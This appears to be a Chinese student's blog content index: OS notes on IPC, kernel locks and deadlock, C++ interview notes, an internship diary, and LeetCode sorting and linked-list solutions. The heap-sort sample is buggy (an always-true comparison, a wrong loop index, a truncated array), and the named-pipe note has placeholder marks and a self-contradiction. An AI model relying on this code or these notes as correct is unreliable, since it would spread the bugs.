V(mutex2); V(buf-full); 用 send/receive 实现生产者-消费者：不需要信号量——send/recv 本身提供同步语义，消费者 recv 阻塞等消息，生产者 send 发消息，缓冲区满时 send 也可阻塞等消费者腾空间。\n通过send和receive也可以用来实现生产者-消费者。\n共享内存 通过系统调用mmap()，多个进程可以将同一块物理内存映射到它们的虚拟地址空间中，从而实现数据共享。共享内存机制适用于需要高效数据交换的场景，如多线程程序中的数据共享。\n通过MAP_SHARED标志，多个进程可以共享同一块内存区域。进程可以通过读写共享内存来交换数据，而不需要经过内核的中转，从而提高了通信效率。比如A进程和B进程都映射了同一块共享内存区域，A进程写入数据后，B进程可以直接读取这些数据。后续修改的脏页由内核写回文件。\n管道通信 Pipe 利用一个缓冲传输介质——内存或文件连接两个相互通信的进程。字符流方式写入读出；先进先出顺序；管道通信机制必须提供的协调能力：互斥、同步、判断对方进程是否存在。\n父子进程之间的通信可以使用无名管道，逻辑上是管道文件，物理上是利用高速缓冲区，与外设无关，创建在内存中临时存在，用文件描述符存取。父进程创建一个管道后，子进程继承该管道的文件描述符，从而实现通信。其他进程之间的通信可以使用命名管道（FIFO），逻辑上是管道文件，物理上是利用文件系统实现，是特殊文件，存在于文件系统， ？？？？？？？？？？？ 创建在内存中临时存在，用文件描述符存取。通过文件系统中的一个特殊文件进行通信。\n套接字 服务器端创建一个套接字，绑定到一个特定的地址和端口上，并监听来自客户端的连接请求。客户端创建一个套接字，并连接到服务器的地址和端口。连接建立后，双方可以通过套接字进行数据交换。\nRPC（Remote Procedure Call） RPC是一种技术思想，屏蔽网络编程细节，像调用本地方法一样调用远程方法。\n什么时候使用RPC？应用访问量增加和业务增加时，单机无法承受，可以根据不同的业务拆分成互不关联的应用，分别部署在不同的机器上，应用与应用相互调用，此时需要用到RPC。解耦服务、扩展性强、部署灵活，主要解决分布式系统中，服务与服务之间的调用问题。\nRPC 流程：Client 调用 → Client Stub 序列化 → Socket 发送 → Server Stub 反序列化 → 本地服务执行 → 序列化结果返回 → Client 反序列化得到结果。应用场景：电商微服务拆分（用户/商品/订单/支付服务）、车载 SOME/IP 协议。\n管道模式（Pipeline） 管道不仅仅是一种 IPC 机制，也是一种链式编程模型——通过 | 串联多个程序，形成工作流：\ncat words | grep purple | awk \u0026#39;{print length($1), $1}\u0026#39; | sort -n | tail -n 1 核心设计思想：高内聚、低耦合。每个程序只做一件事，管道将它们串成一条处理链。\n信号 signal 信号（软中断信号）是一种异步通信机制，用于通知进程发生了某些事件。进程可以通过系统调用signal或sigaction来设置信号处理函数，当特定的信号发生时，内核会调用相应的处理函数。信号机制适用于需要异步通知的场景，如处理外部事件或异常情况。\n信号的产生来源：异常（除零、非法指令、段错误）、其他进程（kill / sigsend）、作业控制（Shell 管理前后台进程）、定时器（alarm / setitimer）、设备 I/O 就绪等。\n收到信号后三种处理方式：自定义处理函数、忽略、系统默认。检测时机在进程从内核返回用户空间前（系统调用返回、被调度选中时）。\n信号生命周期：触发事件 → 信号加入未决信号集 → 目标进程被选中时检测 → 执行处理函数 → 注销。信号本质上是在软件层面上对中断机制的一种模拟。\n实现调用链（用户态 → 内核态）：signal() → __sigaction → rt_sigaction 系统调用 → do_sigaction()。返回用户态前 do_signal() 设置栈帧，iret/sysret 返回用户态执行 handler，完成后 rt_sigreturn 回到内核。定时器信号：alarm() → setitimer 系统调用 → 内核计时，到期后 it_real_fn 回调 → send_signal 发送 SIGALRM。\n在进程被选中、出内核之前，系统会对信号进行处理。\n二、Linux内核同步机制 # 1. 原子操作 # 原子操作是指在执行过程中不可被中断的操作，保证了数据的一致性和完整性。Linux内核提供了多种原子操作，如原子变量、原子位操作等。这些操作通过特殊的指令实现，确保在多处理器环境下的正确性。常常用于实现资源的引用计数。\n2. 自旋锁 # 自旋锁是为了防止多处理器并发而引入的一种锁，是一种“忙等”，在内核中大量应用于中断处理等部分。\n自旋锁 vs 信号量：\n自旋锁 信号量 等待方式 忙等（spin） 睡眠（sleep） 临界区长度 短 长 持有期间可否睡眠 否 可 适用场景 中断处理、短临界区 可能阻塞的操作 传统自旋锁用 LOCK decb + rep;nop 自旋，改进版排队自旋锁（类似银行叫号系统）消除惊群问题。\n3. RCU机制 # Linux 2.6之后，一种数据一致性访问机制，是 Linux 内核性能最高的同步机制，专门针对读极多、写极少场景。\n读者：完全无锁，零开销，直接访问共享数据 写者：复制旧数据 → 修改副本 → 原子指针替换 → 宽限期后释放旧内存（等所有读者读完） 多个写者仍需锁互斥 对于读操作：直接对共享资源进行访问（需要CPU支持访存操作的原子性），采用read_rcu_lock()，RCU的读操作上下文是不可抢占的。\n对于写操作：复制一份旧数据、修改副本、原子指针替换【rcu_assign_pointer()宏】，让大家访问新数据、旧数据暂时保留给还在读取的读者、延迟回收（Grace Period 宽限期）：等到所有读者都读完旧数据后，才释放旧内存\n采用数据备份的方法可以实现读者与写者之间的并发操作，但是不能解决多个写者之间的同步，所以当存在多个写者时，需要通过锁机制对其进行互斥，也就是在同一时刻只能存在一个写者。\n应用场景：推理引擎 KV Cache、RAG 向量索引、GPU 资源池元数据、分布式参数服务器。\n4. 其他内核同步机制 # 机制 用途 完成变量（completion） 简单事件通知，wait_for_completion / complete，用于 vfork 等 顺序锁（seqlock） 写优先于读，靠序列计数器，读者读前读后比较序列值，若相同则成功读 读写锁（rwlock） 读共享、写互斥，适合读多写少（如 IPX 路由表） 屏障（Barrier） 一组线程到达汇合点后一起推进（矩阵运算等） 三、死锁 # 并发编程会带来很多困难，要保证安全、性能、可调式。\n死锁的定义：一组进程中，每个进程都无限等待被该组进程中另一进程所占有的资源，因而永远无法得到的资源，这种现象称为进程死锁，这一组进程就称为死锁进程。如果死锁发生，会浪费大量系统资源，甚至导致系统崩溃。\n为什么会出现死锁？资源竞争、设计不当、缺乏适当的同步机制等都可能导致死锁的发生。大型代码库中，组件之间有复杂的依赖关系在设计锁机制时，要避免循环依赖导致的死锁；封装：模块化隐藏实现细节，开发更容易模块化和锁不是很契合，某些看起来没有关系的接口可能会导致死锁。\n例如，在信号处理函数中尽量不要使用printf等可能阻塞的函数，避免死锁。因为信号处理函数可能在任何时候被调用，如果它尝试获取一个已经被其他线程持有的锁，就会导致死锁。\n死锁必要条件：\n互斥使用条件（Mutual Exclusion）：一个资源在同一时间只能被一个线程或进程占用。 占有且等待条件（Hold and Wait）：一个线程或进程在持有至少一个资源的同时，仍然尝试获取其他线程或进程所持有的资源。 不可抢占条件（No Preemption）：资源不能被强行从一个线程或进程中抢占，只能由占有它的线程或进程主动释放。 循环等待条件（Circular Wait）：存在一个线程/进程等待序列，其中每个线程/进程都在等待下一个线程/进程所持有的资源，形成一个等待环路。 破坏其中一个条件即可避免死锁。解决办法：\n不考虑，鸵鸟算法 不让死锁发生： 死锁预防：静态策略，设计合适的资源分配算法，破坏死锁必要条件之一，不让死锁发生。 死锁避免：动态策略，以不让死锁发生为目标，跟踪并评估资源分配过程，根据评估结果决策是否分配。 让死锁发生：死锁检测与恢复：动态策略，允许死锁发生，但系统会定期检测死锁状态，并采取措施恢复，如终止进程或回滚操作。 死锁预防针对四种必要条件设计的算法：\n互斥使用：采用资源转换技术，把独占资源变为共享资源，如SPOOLing技术，设计一个deamon进程管理打印机资源，用户进程将打印任务发送给deamon，deamon负责调度打印任务，避免了直接访问打印机资源的互斥条件。 占有且等待：实现方案1：要求每个进程在运行前必须一次性申请它所要求的所有资源，且仅当该进程所要资源均可满足时才给予一次性分配。但是问题是资源利用率低，且会造成饥饿。实现方案2：在允许进程动态申请资源前提下规定，一个进程在申请新的资源不能立即得到满足而变为等待状态之前，必须释放已占有的全部资源，若需要再重新申请。但是实现困难。 不可抢占：实现方案：虚拟化资源：当一个进程申请的资源被其他进程占用时，可以通过操作系统抢占这一资源(两个进程优先级不同)。局限性：适用于状态易于保存和恢复的资源，如CPU、内存。 循环等待：通过定义资源类型的线性顺序实现。实施方案：资源有序分配法，把系统中所有资源编号，进程在申请资源时必须严格按资源编号的递增次序进行，否则操作系统不予分配。可以证明是正确的。 死锁避免\n活锁是指线程或进程虽然没有被阻塞，但由于相互之间的干扰，导致无法继续执行下去的状态。与死锁不同，活锁中的线程或进程仍然在运行，但它们无法完成任何有意义的工作。例如，在一个多线程环境中，如果两个线程同时尝试获取同一资源，并且在获取失败后都选择了重试，那么它们可能会不断地相互干扰，导致活锁的发生。\n饥饿是指某个线程或进程由于资源分配不公平，长时间无法获得所需的资源，从而无法继续执行的状态。例如，在一个多线程环境中，如果一个线程优先级较低，而其他线程优先级较高且频繁地获取资源，那么这个低优先级的线程可能会一直得不到资源，导致饥饿的发生。\n","date":"2026/06/04","externalUrl":null,"permalink":"/os/study_notes/9-ipc/","section":"Operating Systems","summary":"","title":"操作系统笔记9：进程间通信","type":"os"},{"content":"","date":"2026/06/04","externalUrl":null,"permalink":"/projects/","section":"项目","summary":"我的小项目","title":"项目","type":"projects"},{"content":"","date":"2026/06/04","externalUrl":null,"permalink":"/tags/%E9%A1%B9%E7%9B%AE/","section":"","summary":"","title":"项目","type":"tags"},{"content":" 1. static的作用？ # static在C++中有多种用途：\n隐藏：当static用于全局变量/函数时，会改变变量/函数的可见性，静态的全局变量/函数只能在定义它们的源文件中可见。这可以用来实现模块内的封装。比如我在我的Webserver中的epoller.cpp中定义了一个静态全局函数： /* ET 模式下，read 必须一直读到返回 EAGAIN（缓冲区空了）。如果 fd 是阻塞模式，读到空时会卡住整个线程，其他连接全饿死。 */ static void set_nonblocking(int fd) { int old_flags = fcntl(fd, F_GETFL, 0); // 取当前flags fcntl(fd, F_SETFL, old_flags | O_NONBLOCK); // 加上非阻塞 } 这个函数是epoller模块的内部细节，不暴露给外部。\n保持局部变量持久且唯一：当static用于局部变量时，该变量的生命周期会持续到整个程序执行期间。这个静态的局部变量在第一次执行包含它的函数的时候被初始化，然后在程序的整个生命周期内保持不变（也就是不被销毁），即使函数多次调用，还是和上次的变量一样。比如在单例模式中，我的服务器代码中就用到了静态局部变量来实现Log日志的单例： /* /include/log.h */ class Log { // 构造函数定义为私有方法，禁止外部实例化 private: Log(); ~Log(); ... // 提供一个公有静态方法来获取唯一实例 public: static Log* get_instance(); ... }； /* log.cpp */ Log* Log::get_instance() { // 局部静态变量，第一次调用时被初始化，之后保持不变 static Log instance; return \u0026amp;instance; } 单例模式 是一种软件设计模式，思路是：一个类能返回对象一个引用（永远是同一个）和一个获得该实例的方法（必须是静态方法，通常使用getInstance这个名称）；当我们调用这个方法时，如果类持有的引用不为空就返回这个引用，如果类保持的引用为空就创建该类的实例并将实例的引用赋予该类保持的引用；同时我们还将该类的构造函数定义为私有方法，这样其他处的代码就无法通过调用该类的构造函数来实例化该类的对象，只有通过该类提供的静态方法来得到该类的唯一实例。 单例模式在多线程的应用场合下必须小心使用。如果当唯一实例尚未创建时，有两个线程同时调用创建方法，那么它们同时没有检测到唯一实例的存在，从而同时各自创建了一个实例，这样就有两个实例被构造出来，从而违反了单例模式中实例唯一的原则。 解决这个问题的办法是为指示类是否已经实例化的变量提供一个互斥锁（虽然这样会降低效率）。 但是在C++11中，局部静态变量的初始化是线程安全的，因此可以直接使用局部静态变量来实现单例模式，而不需要额外的锁机制。\n静态类成员变量：当static用于类成员变量时，该变量属于整个类，而不是某个特定的对象。所有对象共享同一个静态成员变量，而不是为每一个实例都分配独立的存储空间。\n静态类成员函数：当static用于类成员函数时，该函数不依赖于任何对象实例，可以直接通过类名调用。静态成员函数只能访问静态成员变量和其他静态成员函数，不能访问非静态成员变量或函数。比如，在定义“工具型”函数的时候，可以将其定义为静态成员函数。在Qt中QFileDialog类中就有一个静态成员函数getOpenFileName，它可以直接通过类名调用，而不需要创建QFileDialog的实例：\n// static public member: getOpenFileName // 可以直接用类名来使用这个成员，作为**工具类函数** QString fileName = QFileDialog::getOpenFileName(this, \u0026#34;Open the file\u0026#34;); 就像是一个工具一样，用的时候直接用类名调用即可。\n","date":"2026/06/03","externalUrl":null,"permalink":"/intern/cpp/","section":"实习","summary":"","title":"C++八股","type":"intern"},{"content":"","date":"2026/06/03","externalUrl":null,"permalink":"/tags/cpp/","section":"","summary":"","title":"Cpp","type":"tags"},{"content":"","date":"2026/06/03","externalUrl":null,"permalink":"/tags/%E5%85%AB%E8%82%A1/","section":"","summary":"","title":"八股","type":"tags"},{"content":"按时间点记录一下大二暑假的实习过程吧！目前（2026-06-02）还没有收到面试。\n2026-04 # 开始着急找实习了，但是发现简历上真的啥都写不出来，所以在浏览了知乎的相关内容后打算写一个WebServer。相关资源如下：\n参考开源项目：Github开源项目：Linux下C++轻量级WebServer服务器\n相关基础知识：\nIO多路复用：知乎-如何理解Epoll中的LT和ET模式 | 知乎-IO多路复用——深入浅出理解select、poll、epoll的实现 TCP/IP协议：知乎-网络原理：史上最全tcp/ip协议详解 在AI的帮助下，我用了两个月把自己的WebServer也是写出来了。具体的过程是，先参考开源项目的实现目标和亮点，让AI给出一个类似的整体框架guide文件，按照框架分阶段实现代码，每实现一部分代码就更新一次guide。在每一个阶段，首先先问AI这个阶段是用来干什么的，了解一下需要的基础知识；如果是自己学过的或者能理解的，就可以直接着手代码了，否则就去知乎或者其他平台找内容学习（事实上很多文章都讲的非常好，收获很大，我也希望能成为写出那样文章的人）。学习后就开始写代码，代码咋写呢？我不会。因为我第一次写，那就只能靠AI啦。AI说啥我写啥，但是和以前不同，我这次是自己一个字母一个字母敲出来的（事实上和直接复制粘贴的体验差别是非常大的，比如一些语法上的问题、某些变量为啥要这样初始化、这一块的逻辑到底是怎么想出来的，合不合理\u0026hellip;这些在我的项目总结中会详细说），同时也写了很多的注释，算是第一次动手学习了新东西。代码写完了就是更新guide文件。然后继续后面的内容。\n比如要写一个线程池，但是我似乎也就只知道什么是线程、大概知道线程池是个啥，但是在这个具体场景里面为啥要有这个东西？这个东西的作用是干啥的？那就先问AI，得知每个线程是用来处理每一个来自客户端连接的事务的，是一个消费者的身份，而服务器则是一个生产者的身份。用线程池则避免了每次的连接都调用pthread_create一次，这样开销很大。这里也会涉及到同步的一些问题，一说都是上课讲到过的东西，但是在实际应用是真的反应不过来\u0026hellip;\n最后这个服务器在压力测试下能达到3000的QPS，参考的开源项目中能达到上万的QPS，说明我的这个项目优化空间还非常大！而且，AI写的代码事实上是有很多隐藏的BUG的，这些BUG怎么找的/解决呢？我不会。因为我第一次遇到，那就只能也靠AI啦。遇到BUG了，比如free()遇到野指针了，就让AI先debug，然后再教我怎么用GDB去找到问题所在。事实上我也确实学到了，GDB中的bt命令确实很方便溯源。AI还是很强的！\n2026-05-29 # 开始制作简历了。用的是这个Latex简历模板，支持中英文，这个是对应的Overleaf模板链接。\n简历写了自己的基本信息，如姓名、联系方式、Github网站、个人博客网站；教育经历；项目经历；IT技能；其他。其中项目经历我写了刚刚说的WebServer，和我在这学期的专业课操作系统中的实验作业：基于xv6的操作系统内核。额\u0026hellip;好水啊\u0026hellip;但是没办法了，就先这样吧，看看有没有人要我！\n其实我之前有一小段的实习经历，不过不是计算机领域的，是有关Lean语言形式化证明的。但是这个实习也很水（准确的说是很不规范化），特别难受的就是代码版本管理用的是QQ文件传输而不是git，这也导致最后的薪资分配很不合理。要说这个往简历上写的话，我感觉也就只能说“有很强的适应能力和学习新事物的能力，能按照要求在规定时间内完成任务”了。毕竟当时AI对于形式化这一块的支持还很少，学习起来是真的费劲。\n我当前版本（2026-05-31）的简历如下：\n额，看起来好像挺诈唬的，细看一下真的好水啊\u0026hellip;\n2026-05-30 # 开始投递简历了。我在字节-后端开发实习、美团-推荐系统研发实习生、腾讯-软件开发-后台开发方向、京东-后端开发工程师投递了简历，其中腾讯和京东在投递之后需要进行综合素质测评，腾讯的都是有关实际工作中的日常逻辑判断类型的客观选择题，以及少量的语言推理选择题；而京东的包含图形推理、语言推理、数字关系和个人性格主观题，前三类题就是低配版的行测题\u0026hellip;不过都不算很难。\n目前（2026-05-31）都处在简历筛选中的状态。我打算继续投递一些其他公司的岗位的，这些大公司目前我好像确实是有点没那个能力。但是还是期待能有面试机会，毕竟也是第一次嘛，就当作学习了。\n2026-06-01 # 收到了腾讯的初试通知，如下图：\n虽然是面试通知但是我还是很高兴，好像是直接被录用了一样\u0026hellip;\n2026-06-02 # 呃，腾讯突然发邮件说面试官取消了面试，让等后续通知，不知道会不会有后续通知了\u0026hellip;\n这两天把webserver的相关知识点都复习了一遍；刷了leetcode的热题100中的链表部分。\n面试算法题刷题 2026/05/31\u0026middot;Updated: 2026/06/04\u0026middot;3564 words\u0026middot;18 mins\u0026middot; loading \u0026middot; loading leetcode热题100 2026-06-06 # 还是没有动静，腾讯现在还是在初试阶段但是没有面试安排。\n我更新了一下webserver的项目文档，完善了压力测试的说明，发现在WSL2上吞吐量比在裸Linux上差了10倍，当前结论是在裸Linux上可以实现在上万并发连接的情况下达到上万（16000）QPS，还是挺自豪的吧，但是用Webbench在Linux上测怎么会有12%的失败率，目前还没有搞明白。具体的测试结果可以去projects页中找一下。\n还打算更新一下技术文档，把每个阶段都描述一遍，一是当作面试准备，二是作为记录，方便后面查看。\n刷了二叉树的一部分题，学了前中后序遍历的迭代写法，用颜色标记法。\n","date":"2026/05/31","externalUrl":null,"permalink":"/intern/","section":"实习","summary":"大二暑假实习过程记录","title":"实习","type":"intern"},{"content":"","date":"2026/05/31","externalUrl":null,"permalink":"/tags/%E5%AE%9E%E4%B9%A0/","section":"","summary":"","title":"实习","type":"tags"},{"content":"","date":"2026/05/31","externalUrl":null,"permalink":"/tags/%E7%AE%97%E6%B3%95/","section":"","summary":"","title":"算法","type":"tags"},{"content":" LeetCode热题100 # 排序 # 快速排序 # void quickSort(int arr[], int low, int high) { if (low \u0026lt; high) { int pivotIndex = partition(arr, low, high); quickSort(arr, low, pivotIndex - 1); quickSort(arr, pivotIndex + 1, high); } } int partition(int arr[], int low, int high) { int pivot = arr[low]; int i = low, j = high; while (i \u0026lt; j) { while (i \u0026lt; j \u0026amp;\u0026amp; arr[j] \u0026gt;= pivot) { j--; } arr[i] = arr[j]; while (i \u0026lt; j \u0026amp;\u0026amp; arr[i] \u0026lt;= pivot) { i++; } arr[j] = arr[i]; } arr[i] = pivot; return i; } int main() { int arr[] = {3,6,8,2,4,1,9,5,7}; int len = sizeof(arr) / sizeof(arr[0]); quickSort(arr, 0, len - 1); for (int num : arr) { std::cout \u0026lt;\u0026lt; num \u0026lt;\u0026lt; \u0026#34; \u0026#34;; } return 0; } 堆排序 # #include \u0026lt;iostream\u0026gt; #include \u0026lt;vector\u0026gt; void heapSort(std::vector\u0026lt;int\u0026gt;\u0026amp; arr) { int n = arr.size(); // build big heap for (int i = n/2 - 1; i \u0026gt;= 0; i--) { adjustDown(arr, i, n); } // sort from leaf for (int i = n - 1; i \u0026gt;= 0; i--) { std::swap(arr[0], arr[i]); adjustDown(arr, 0, n); } } void adjustDown(std::vector\u0026lt;int\u0026gt;\u0026amp; arr, int i, int n) { int temp = arr[i]; for (int k = 2 * i + 1; k \u0026lt; n; k = 2 * k + 1) { // k是左节点，找左右较大的那个 if (k + 1 \u0026lt; n \u0026amp;\u0026amp; arr[k] \u0026lt; arr[k] + 1) { k++; } // 子节点大就交换 if (arr[k] \u0026gt; temp) { arr[i] = arr[k]; i = k; } else { break; } } arr[i] = temp; } int main() { std::vector\u0026lt;int\u0026gt; arr = {3,6,}; heapSort(arr); for (int num:arr) std::cout\u0026lt;\u0026lt;num\u0026lt;\u0026lt;\u0026#34; \u0026#34;; return 0; } 归并排序 # void mergeSort(std::vector\u0026lt;int\u0026gt;\u0026amp; arr, int l, int r) { if (l \u0026gt;= r) return ; int m = l + (r - l) / 2; mergeSort(arr, l, m); mergeSort(arr, m + 1, r); merge(arr, l, m, r); } void merge(std::vector\u0026lt;int\u0026gt;\u0026amp; arr, int l, int m, int r) { std::vector\u0026lt;int\u0026gt; temp(r - l + 1); int i = l, j = m + 1, k = 0; while (i \u0026lt;= m \u0026amp;\u0026amp; j \u0026lt;= r) { if (arr[i] \u0026lt;= arr[j]) { temp[k++] = arr[i++]; } else { temp[k++] = arr[j++]; } } while (i \u0026lt;= m) { temp[k++] = arr[i++]; } while (j \u0026lt;= r) { temp[k++] = arr[j++]; } for (int p = 0; p \u0026lt; temp.size(); p++) { arr[l + p] = temp[p]; } } int main() { std::vector\u0026lt;int\u0026gt; arr = {3, 6, 8, 2, 4, 1, 9, 5, 7}; mergeSort(arr, 0, arr.size() - 1); for (int num : arr) { std::cout \u0026lt;\u0026lt; num \u0026lt;\u0026lt; \u0026#34; \u0026#34;; } return 0; } 链表 # 206.反转链表 # /** * Definition for singly-linked list. * struct ListNode { * int val; * ListNode *next; * ListNode() : val(0), next(nullptr) {} * ListNode(int x) : val(x), next(nullptr) {} * ListNode(int x, ListNode *next) : val(x), next(next) {} * }; */ class Solution { public: // 迭代 ListNode* reverseList(ListNode* head) { ListNode* pre = nullptr; ListNode* cur = head; while (cur) { ListNode* nxt = cur-\u0026gt;next; cur-\u0026gt;next = pre; pre = cur; cur = nxt; } return pre; } }; // 递归 ListNode* reverseList(ListNode* head) { if (head == nullptr || head-\u0026gt;next == nullptr) { return head; } ListNode* new_head = reverseList(head-\u0026gt;next); // 到最后，new_head是末尾节点，第一个head是倒数第二个 head-\u0026gt;next-\u0026gt;next = head; head-\u0026gt;next = nullptr; return new_head; } 92.反转链表II # /** * Definition for singly-linked list. * struct ListNode { * int val; * ListNode *next; * ListNode() : val(0), next(nullptr) {} * ListNode(int x) : val(x), next(nullptr) {} * ListNode(int x, ListNode *next) : val(x), next(next) {} * }; */ class Solution { public: ListNode* reverseBetween(ListNode* head, int left, int right) { ListNode dummy(0, head); ListNode* p0 = \u0026amp;dummy; // p0挪到left-1 for (int i = 0; i \u0026lt; left - 1; i++) { p0 = p0-\u0026gt;next; } // 将以p0-\u0026gt;next为头节点、到right的部分反转 ListNode* pre = nullptr; ListNode* cur = p0-\u0026gt;next; for (int i = 0; i \u0026lt; right - left + 1; i++) { ListNode* nxt = cur-\u0026gt;next; cur-\u0026gt;next = pre; pre = cur; cur = nxt; } // 此时left处的节点指向nullptr，调整为right-\u0026gt;next也就是cur p0-\u0026gt;next-\u0026gt;next = cur; // p0指向的是left，调整为right也就是pre p0-\u0026gt;next = pre; return dummy.next; } }; 25.K个一组翻转链表 # /** * Definition for singly-linked list. * struct ListNode { * int val; * ListNode *next; * ListNode() : val(0), next(nullptr) {} * ListNode(int x) : val(x), next(nullptr) {} * ListNode(int x, ListNode *next) : val(x), next(next) {} * }; */ class Solution { public: ListNode* reverseKGroup(ListNode* head, int k) { // 统计节点个数 int n = 0; for (ListNode* cur = head; cur; cur = cur-\u0026gt;next) { n++; } ListNode dummy(0, head); ListNode* p0 = \u0026amp;dummy; // 和92题一样，p0先放在left-1的位置 ListNode* pre = nullptr; ListNode* cur = p0-\u0026gt;next; for (; n \u0026gt;= k; n -= k) { for (int i = 0; i \u0026lt; k; i++) { // 反转 ListNode* nxt = cur-\u0026gt;next; cur-\u0026gt;next = pre; pre = cur; cur = nxt; } // 这里不仅要使得k组的前后节点指针正确 // 还要保证p0能够挪到下一个k组的之前一个节点 // 而这个节点当前就是p0-\u0026gt;next，因为反转了 ListNode* next_p0 = p0-\u0026gt;next; p0-\u0026gt;next-\u0026gt;next = cur; p0-\u0026gt;next = pre; p0 = next_p0; } return dummy.next; } }; 160.相交链表 # /** * Definition for singly-linked list. * struct ListNode { * int val; * ListNode *next; * ListNode(int x) : val(x), next(NULL) {} * }; */ class Solution { public: ListNode *getIntersectionNode(ListNode *headA, ListNode *headB) { ListNode* a = headA; ListNode* b = headB; while (a != nullptr || b != nullptr) { if (a == nullptr) a = headB; if (b == nullptr) b = headA; if (a == b) return a; a = a-\u0026gt;next; b = b-\u0026gt;next; } return nullptr; } }; 234.回文链表 # /** * Definition for singly-linked list. * struct ListNode { * int val; * ListNode *next; * ListNode() : val(0), next(nullptr) {} * ListNode(int x) : val(x), next(nullptr) {} * ListNode(int x, ListNode *next) : val(x), next(next) {} * }; */ class Solution { public: ListNode* getmid(ListNode* node) { ListNode* slow = node, *fast = node; while (fast-\u0026gt;next \u0026amp;\u0026amp; fast-\u0026gt;next-\u0026gt;next) { slow = slow-\u0026gt;next; fast = fast-\u0026gt;next-\u0026gt;next; } return slow; } bool isPalindrome(ListNode* head) { // 0/1个节点直接true if (!head || !head-\u0026gt;next) return true; ListNode* mid = getmid(head); ListNode* new_head = mid-\u0026gt;next; mid-\u0026gt;next = nullptr; new_head = reverse(new_head); // 不用关奇数偶数，反转后从头往后比较，多的那个链表末尾的节点也不需要比较 while (head \u0026amp;\u0026amp; new_head) { if (head-\u0026gt;val != new_head-\u0026gt;val) return false; head = head-\u0026gt;next; new_head = new_head-\u0026gt;next; } return true; } ListNode* reverse(ListNode* node) { ListNode* prev = nullptr, *next = nullptr, *curr = node; while (curr) { next = curr-\u0026gt;next; curr-\u0026gt;next = prev; prev = curr; curr = next; } return prev; } }; 141.环形链表 # /** * Definition for singly-linked list. * struct ListNode { * int val; * ListNode *next; * ListNode(int x) : val(x), next(NULL) {} * }; */ class Solution { public: bool hasCycle(ListNode *head) { // 相对速度，fast每次比slow快一步，必定相遇 ListNode* fast = head; ListNode* slow = head; while (fast \u0026amp;\u0026amp; fast-\u0026gt;next) { slow = slow-\u0026gt;next; fast = fast-\u0026gt;next-\u0026gt;next; if (slow == fast) return true; } return false; } }; 142.环形链表II # /** * Definition for singly-linked list. * struct ListNode { * int val; * ListNode *next; * ListNode(int x) : val(x), next(NULL) {} * }; */ class Solution { public: ListNode *detectCycle(ListNode *head) { // 相对速度，fast每次比slow快一步，必定相遇 ListNode* fast = head; ListNode* slow = head; while (fast \u0026amp;\u0026amp; fast-\u0026gt;next) { slow = slow-\u0026gt;next; fast = fast-\u0026gt;next-\u0026gt;next; if (slow == fast) { // 让slow和head相遇 while (slow != head) { slow = slow-\u0026gt;next; head = head-\u0026gt;next; } return slow; } } return nullptr; } }; 21.合并两个有序链表 # /** * Definition for singly-linked list. * struct ListNode { * int val; * ListNode *next; * ListNode() : val(0), next(nullptr) {} * ListNode(int x) : val(x), next(nullptr) {} * ListNode(int x, ListNode *next) : val(x), next(next) {} * }; */ class Solution { public: ListNode* mergeTwoLists(ListNode* list1, ListNode* list2) { ListNode dummy(0); ListNode* cur = \u0026amp;dummy; while (list1 \u0026amp;\u0026amp; list2) { if (list1-\u0026gt;val \u0026lt; list2-\u0026gt;val) { cur-\u0026gt;next = list1; list1 = list1-\u0026gt;next; } else { cur-\u0026gt;next = list2; list2 = list2-\u0026gt;next; } cur = cur-\u0026gt;next; } cur-\u0026gt;next = (list1) ? list1 : list2; return dummy.next; } }; 23.合并K个升序链表 # /** * Definition for singly-linked list. * struct ListNode { * int val; * ListNode *next; * ListNode() : val(0), next(nullptr) {} * ListNode(int x) : val(x), next(nullptr) {} * ListNode(int x, ListNode *next) : val(x), next(next) {} * }; */ class Solution { public: // 最小堆 ListNode* mergeKLists(vector\u0026lt;ListNode*\u0026gt;\u0026amp; lists) { auto cmp = [](const ListNode* a, const ListNode* b) { return a-\u0026gt;val \u0026gt; b-\u0026gt;val; // 最小堆 }; priority_queue\u0026lt;ListNode*, vector\u0026lt;ListNode*\u0026gt;, decltype(cmp)\u0026gt; pq; for (auto head : lists) { if (head) pq.push(head); } ListNode dummy(0); ListNode* cur = \u0026amp;dummy; while (!pq.empty()) { auto node = pq.top(); // 最小的节点 pq.pop(); cur-\u0026gt;next = node; cur = cur-\u0026gt;next; if (node-\u0026gt;next) { pq.push(node-\u0026gt;next); } } return dummy.next; } }; /** * Definition for singly-linked list. * struct ListNode { * int val; * ListNode *next; * ListNode() : val(0), next(nullptr) {} * ListNode(int x) : val(x), next(nullptr) {} * ListNode(int x, ListNode *next) : val(x), next(next) {} * }; */ class Solution { public: // 分治合并，将k个链表两两分割，再合并 // 和归并排序思路一样，这里由于每个链表本身是有序的，可以看作是数组的一个元素 // 所以流程实际上是一模一样的 ListNode* mergeKLists(vector\u0026lt;ListNode*\u0026gt;\u0026amp; lists) { return mergeSort(lists, 0, lists.size()); } // 合并2个有序链表 ListNode* mergeTwoLists(ListNode* l1, ListNode* l2) { ListNode dummy(0); ListNode* cur = \u0026amp;dummy; while (l1 \u0026amp;\u0026amp; l2) { if (l1-\u0026gt;val \u0026lt; l2-\u0026gt;val) { cur-\u0026gt;next = l1; l1 = l1-\u0026gt;next; } else { cur-\u0026gt;next = l2; l2 = l2-\u0026gt;next; } cur = cur-\u0026gt;next; } cur-\u0026gt;next = (l1) ? l1 : l2; return dummy.next; } // 合并从i到j-1的链表 ListNode* mergeSort(vector\u0026lt;ListNode*\u0026gt;\u0026amp; lists, int i, int j) { int m = j - i; if (m == 0) return nullptr; if (m == 1) return lists[i]; auto left = mergeSort(lists, i, i + m/2); auto right = mergeSort(lists, i + m/2, j); return mergeTwoLists(left, right); } }; 2.两数相加 # /** * Definition for singly-linked list. * struct ListNode { * int val; * ListNode *next; * ListNode() : val(0), next(nullptr) {} * ListNode(int x) : val(x), next(nullptr) {} * ListNode(int x, ListNode *next) : val(x), next(next) {} * }; */ class Solution { public: ListNode* addTwoNumbers(ListNode* l1, ListNode* l2) { ListNode dummy(0); ListNode* cur = \u0026amp;dummy; int enter = 0; while (l1 || l2 || enter) { int curr = enter; if (l1) { curr += l1-\u0026gt;val; l1 = l1-\u0026gt;next; } if (l2) { curr += l2-\u0026gt;val; l2 = l2-\u0026gt;next; } cur = cur-\u0026gt;next = new ListNode(curr % 10); enter = curr / 10; } return dummy.next; } }; 24.两两交换链表中的节点 # /** * Definition for singly-linked list. * struct ListNode { * int val; * ListNode *next; * ListNode() : val(0), next(nullptr) {} * ListNode(int x) : val(x), next(nullptr) {} * ListNode(int x, ListNode *next) : val(x), next(next) {} * }; */ class Solution { public: 